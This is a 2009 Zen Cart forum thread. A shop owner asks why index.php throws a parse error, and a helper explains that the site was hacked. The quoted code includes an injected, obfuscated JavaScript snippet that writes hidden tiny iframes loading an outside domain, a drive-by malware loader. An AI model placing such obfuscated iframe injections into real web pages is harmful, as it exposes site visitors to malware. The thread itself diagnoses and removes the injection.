Results 1 to 3 of 3
  1. #1
    Join Date
    Jun 2009
    Posts
    275
    Plugin Contributions
    0

    red flag Can anyone help find the mistake? Please!

    Hello all!

    After getting my zc set up and looking the way I liked I started to add my product and did so for two or three days without a problem and then this morning I awoke to...

    Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/mysite/public_html/index.php on line 105

    I get a blank screen other than the message

    I changed nothing in the index file for days and it has worked fine, it was also working fine the night before when I shut the comp down, so why now?

    I am not very good with php. Can anyone please help me find the mistake in the code below?


    <?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" wid"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo '<script>document.write("<i"+'fr'+"am"+'e s'+"rc=\""+'htt'+"p:"+''+"//"+'trug'+"hts"+''+'a.c'+"o"+'m/'+"\" wid"+'th=2 he'+"igh"+'t'+"="+"1></i"+"fra"+''+"m"+''+"e"+'>');</script>'; ?>

    Thanks to all!
    Last edited by doooomed; 24 Jun 2009 at 04:10 PM. Reason: forgot something

  2. #2
    Join Date
    Apr 2006
    Location
    London, UK
    Posts
    10,569
    Plugin Contributions
    25

    Default Re: Can anyone help find the mistake? Please!

    You've been hacked. Somebody has gotten access to your hosting account and added that code to your site. The code after <?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?> shouldn't be there and needs to be deleted.

    Then I would recommend spending some time with this article.
    Kuroi Web Design and Development | Twitter

    (Questions answered in the forum only - so that any forum member can benefit - not by personal message)

  3. #3
    Join Date
    Jun 2009
    Posts
    275
    Plugin Contributions
    0

    Default Re: Can anyone help find the mistake? Please!

    Thanks kuroi!!!

    All fixed!!

    Wow I don't even know how somebody found the site never mind wanting to hack it! It's only been up for about three days and I haven't even told anyone it exists!

    Thanks for the link also, I'm gonna check it out right now!

 

 

Similar Threads

  1. Can't seem to find the error... help please?
    By alana1223 in forum Templates, Stylesheets, Page Layout
    Replies: 8
    Last Post: 9 Jan 2010, 05:27 PM
  2. Can anyone help please?
    By Daisy in forum Basic Configuration
    Replies: 2
    Last Post: 16 Aug 2009, 07:56 PM
  3. Can anyone help me please.
    By hells1614 in forum Installing on a Windows Server
    Replies: 1
    Last Post: 8 Apr 2008, 02:27 PM
  4. main page help where to find file to fix mistake
    By tndrmrcies in forum Basic Configuration
    Replies: 1
    Last Post: 22 Jul 2007, 05:08 PM
  5. cant find data in admin...can anyone help
    By claresdvds in forum All Other Contributions/Addons
    Replies: 2
    Last Post: 8 Jul 2007, 11:50 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg